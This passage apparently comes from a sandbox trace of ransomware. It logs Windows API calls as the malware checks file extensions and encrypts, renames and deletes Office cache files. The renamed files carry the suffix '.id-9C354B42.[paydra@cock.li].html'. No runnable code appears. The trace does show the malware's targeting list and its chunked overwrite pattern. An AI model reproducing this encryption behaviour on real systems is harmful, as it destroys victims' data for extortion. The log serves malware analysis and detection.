Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.108] lstrlenW (lpString=".dbf") returned 4 [0041.108] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.108] lstrlenW (lpString=".1cd") returned 4 [0041.108] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0041.108] lstrlenW (lpString=".jpg") returned 4 [0041.108] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.108] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0041.108] lstrlenW (lpString="InfLR.cab") returned 9 [0041.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0041.109] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=18874884) returned 1 [0041.109] CloseHandle (hObject=0x1b8) returned 1 [0041.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0041.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.109] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0041.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0041.109] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.109] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.110] ReadFile (in: hFile=0x1b8, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.112] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.112] ReadFile (in: hFile=0x1b8, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.120] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.120] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.120] ReadFile (in: hFile=0x1b8, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.136] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.136] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0041.147] SetEndOfFile (hFile=0x1b8) returned 1 [0041.148] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fc38a8 [0041.151] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.151] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.449] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.450] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.453] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.453] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fc38a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc38a8*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.457] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0041.457] CloseHandle (hObject=0x1b8) returned 1 [0044.006] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.006] lstrlenW (lpString=".doc") returned 4 [0044.006] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString=".docx") returned 5 [0044.006] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.006] lstrlenW (lpString=".pdf") returned 4 [0044.006] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString=".xls") returned 4 [0044.006] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString=".xlsx") returned 5 [0044.006] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.006] lstrlenW (lpString=".ppt") returned 4 [0044.006] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.006] lstrlenW (lpString=".zip") returned 4 [0044.006] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString=".rar") returned 4 [0044.006] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.006] lstrlenW (lpString=".bz2") returned 4 [0044.006] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.006] lstrlenW (lpString=".7z") returned 3 [0044.006] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString=".dbf") returned 4 [0044.007] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString=".1cd") returned 4 [0044.007] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString=".jpg") returned 4 [0044.007] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString=".doc") returned 4 [0044.007] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString=".docx") returned 5 [0044.007] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.007] lstrlenW (lpString=".pdf") returned 4 [0044.007] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString=".xls") returned 4 [0044.007] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString=".xlsx") returned 5 [0044.007] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.007] lstrlenW (lpString=".ppt") returned 4 [0044.007] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.007] lstrlenW (lpString=".zip") returned 4 [0044.008] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.008] lstrlenW (lpString=".rar") returned 4 [0044.008] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.008] lstrlenW (lpString=".bz2") returned 4 [0044.008] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.008] lstrlenW (lpString=".7z") returned 3 [0044.008] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.008] lstrlenW (lpString=".dbf") returned 4 [0044.008] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.008] lstrlenW (lpString=".1cd") returned 4 [0044.008] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0044.008] lstrlenW (lpString=".jpg") returned 4 [0044.008] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.008] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0044.008] lstrlenW (lpString="msvcr90.dll") returned 11 [0044.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.647] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=655872) returned 1 [0044.647] CloseHandle (hObject=0x198) returned 1 [0044.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0044.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.650] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.650] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.659] GetLastError () returned 0x0 [0044.659] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0044.708] WriteFile (in: hFile=0x19c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0044.719] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.719] WriteFile (in: hFile=0x19c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.719] SetEndOfFile (hFile=0x19c) returned 1 [0044.719] CloseHandle (hObject=0x19c) returned 1 [0044.719] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.719] SetEndOfFile (hFile=0x198) returned 1 [0044.861] CloseHandle (hObject=0x198) returned 1 [0044.872] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.879] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0044.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.880] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.880] lstrlenW (lpString=".doc") returned 4 [0044.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.880] lstrlenW (lpString=".docx") returned 5 [0044.882] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.890] lstrlenW (lpString=".pdf") returned 4 [0044.890] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.890] lstrlenW (lpString=".xls") returned 4 [0044.890] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.890] lstrlenW (lpString=".xlsx") returned 5 [0044.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.890] lstrlenW (lpString=".ppt") returned 4 [0044.890] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString=".zip") returned 4 [0044.891] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.891] lstrlenW (lpString=".rar") returned 4 [0044.891] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.891] lstrlenW (lpString=".bz2") returned 4 [0044.891] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.891] lstrlenW (lpString=".7z") returned 3 [0044.891] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString=".dbf") returned 4 [0044.891] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString=".1cd") returned 4 [0044.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString=".jpg") returned 4 [0044.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.891] lstrlenW (lpString=".doc") returned 4 [0044.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.891] lstrlenW (lpString=".docx") returned 5 [0044.891] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.891] lstrlenW (lpString=".pdf") returned 4 [0044.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.892] lstrlenW (lpString=".xls") returned 4 [0044.892] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.892] lstrlenW (lpString=".xlsx") returned 5 [0044.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.892] lstrlenW (lpString=".ppt") returned 4 [0044.892] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.892] lstrlenW (lpString=".zip") returned 4 [0044.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.892] lstrlenW (lpString=".rar") returned 4 [0044.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.892] lstrlenW (lpString=".bz2") returned 4 [0044.892] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.892] lstrlenW (lpString=".7z") returned 3 [0044.892] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.892] lstrlenW (lpString=".dbf") returned 4 [0044.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.892] lstrlenW (lpString=".1cd") returned 4 [0044.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0044.892] lstrlenW (lpString=".jpg") returned 4 [0044.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.892] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.893] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0044.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.893] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=868864) returned 1 [0044.893] CloseHandle (hObject=0x198) returned 1 [0044.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0044.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.893] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.893] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0044.894] GetLastError () returned 0x0 [0044.894] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0044.910] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0044.925] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.925] WriteFile (in: hFile=0x1a8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0044.926] SetEndOfFile (hFile=0x1a8) returned 1 [0044.926] CloseHandle (hObject=0x1a8) returned 1 [0044.926] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.926] SetEndOfFile (hFile=0x198) returned 1 [0045.187] CloseHandle (hObject=0x198) returned 1 [0045.187] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.187] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.188] lstrlenW (lpString=".doc") returned 4 [0045.188] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.188] lstrlenW (lpString=".docx") returned 5 [0045.188] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.188] lstrlenW (lpString=".pdf") returned 4 [0045.188] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.188] lstrlenW (lpString=".xls") returned 4 [0045.188] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.188] lstrlenW (lpString=".xlsx") returned 5 [0045.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.188] lstrlenW (lpString=".ppt") returned 4 [0045.188] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.188] lstrlenW (lpString=".zip") returned 4 [0045.188] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.188] lstrlenW (lpString=".rar") returned 4 [0045.188] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.188] lstrlenW (lpString=".bz2") returned 4 [0045.188] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.188] lstrlenW (lpString=".7z") returned 3 [0045.188] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.188] lstrlenW (lpString=".dbf") returned 4 [0045.188] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All 